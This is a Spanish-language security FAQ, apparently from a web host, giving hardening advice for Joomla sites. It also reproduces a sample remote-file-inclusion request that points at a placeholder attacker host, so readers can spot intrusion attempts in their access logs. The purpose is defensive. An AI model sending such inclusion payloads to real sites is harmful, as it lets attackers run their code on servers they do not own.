¿Cuáles son las recomendaciones de Seguridad para los sitios web (sobre todo si están basados en Joomla)?
- Cambie sus passwords regularmente y no use siempre los mismos. Utilice una combinación aleatoria de letras mayúsculas, minúsculas,números, y símbolos y evite usar nombres o palabras que puedan ser encontradas en un diccionario. Nunca utilice los nombres de sus familiares, mascotas, etc.
• Longitud no menor a 12 caracteres
• Utilizar combinación de letras mayúsculas y minúsculas, números y caracteres especiales.
• Fáciles de recordar
• Difíciles de adivinar
- Hágase responsable personalmente de respaldar regularmente los archivos de su sitio y su base de datos.
- Cambiar el usuario Administrador para que no corresponda al predeterminado admin.
MySQL:
- Asegurese de que la cuenta MySQL de Joomla! esta configurada con acceso limitado. Este consciente de que la instalación inicial de MySQL es insegura. Una cuidadosa configuración manual es requerida luego de la instalación. Ver Documentación MySQL.
HTTP Server (Apache):
Utilice archivos .htaccess para bloquear intentos de exploits. Lea en nuestra base del conocimiento el artículo acerca de el .htaccess
Núcleo de Joomla! (Core):
- Siempre actualice a la ultima versión estable.Validez de la Versión de Joomla!
- Descargue Joomla! solo de sitios oficiales, sitios de confianza, tales como: Joomla! Forge
- Suscribase, o revise regularmente: Anuncios Relacionados con la seguridad Joomla!
- Si usted descubre un problema de seguridad en el core de Joomla!, por favor repórtelo lo antes posible: Reportar Errores de Joomla!
- Remueva todas las plantillas (templates) que no sean necesarias en su sitio.
- Es importante tener en cuenta las recomendaciones realizadas por los desarrolladores de JOOMLA, con el fin de evitar ataques de SQL INJECTION (http://developer.joomla.org/security/articles-tutorials/258-preventing- sql-injections.html)
- Es importante tener en cuenta las recomendaciones realizadas por los desarrolladores de JOOMLA, con el fin de evitar ataques por reinicio remoto de la contraseña de administración del sitio por parte de usuarios no autorizados.(http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html)
- Una vez que su sitio esta configurado y es estable, proteja contra escritura la mayor cantidad de archivos y directorios que pueda cambiando los permisos de directorios a 755, y los permisos de archivos a 644. Existe una característica de sitio --> Global Configuration (configuración global) --> que puede colocar los permisos de forma masiva por usted. Tenga en cuenta de que esta función masiva puede afectar el funcionamiento de los componentes, si lo hace pruebe el funcionamiento de los mismos. También tenga en cuenta de que es posible que no se puedan cambiar los permisos en todos los componentes o extensiones de 3eros.Script automático para ajustar los permisos de directorios y archivos Extensiones (Componentes, Módulos, y Bots) de Joomla!
- Remueva todas las extensiones Joomla! que requieran register_globals ON.
- Descargue extensiones solo de sitios de confianza. La definición oficial de "sitio de confianza" es aquel sitio en el que USTED confía.
- Antes de instalar extensiones de 3eros (third party extensions), revise la Lista oficial de extensiones de 3eros vulnerables!
- Tenga cuidado! Las extensiones de 3eros vienen en todos los sabores, tamaños y antigüedad. Aunque existen los estándares de código Joomla! (coding standards), la extensiones listadas en el sitio oficial de Joomla! no son revisadas para ver si cumplen dichos estándares. Prueba todas las extensiones en un sitio de desarrollo antes de instalarlas en un sitio "real" sitio en producción.
- Respalde su sitio y la base de datos del mismo antes de instalar nuevas extensiones.
- Revise regularmente los foros de Joonla acerca de Cuestiones de seguridad de 3eros/No Joomla!
- Remueva cualquier extensión no usada, y revise.
Le recomendamos revisar su PC con el siguiente programa antivirus:
http://www.microsoft.com/nz/digitallife/security/microsoft-security-essentials.mspx Adicionalmente puede verificar si su sitio está siendo atacado o están intentando tomar control, revisando en las estadísticas líneas como las siguientes: http://DOMINIOEXTERNO.com/config.php?_CCFG%5B_PKG_PATH_DBSE%5D=http://DOMINIO.QUE.ALOJA.SCRIPT.DEL.ATACANTE/extra/idxx.txt??
Puede descargar esta información desde el Cpanel, en la opcion:
* Registro de Acceso Raw
* Estadisticas de los Ultimos Visitantes
* Awstats
Generalmente intentan insertar código desde otros sitios dentro de archivos .txt o una url con el código.
También casi siempre tienen como agente o navegador libwww-perl, puede agregar los IPs atacantes a su lista negra desde el cpanel, para que no vuelvan a intentarlo en la opción "Denegar IPs".
Más información sobre ataques externos y seguridad:
http://es.wikipedia.org/wiki/Cross_Site_Scripting http://es.wikipedia.org/wiki/Error_de_software http://es.wikipedia.org/wiki/Exploit http://es.wikipedia.org/wiki/Inyección_SQL http://es.wikipedia.org/wiki/Blind_SQL_injection http://es.wikipedia.org/wiki/Malware http://es.wikipedia.org/wiki/Ataque_de_fuerza_bruta http://es.wikipedia.org/wiki/Hacking http://es.wikipedia.org/wiki/Agujero_de_seguridad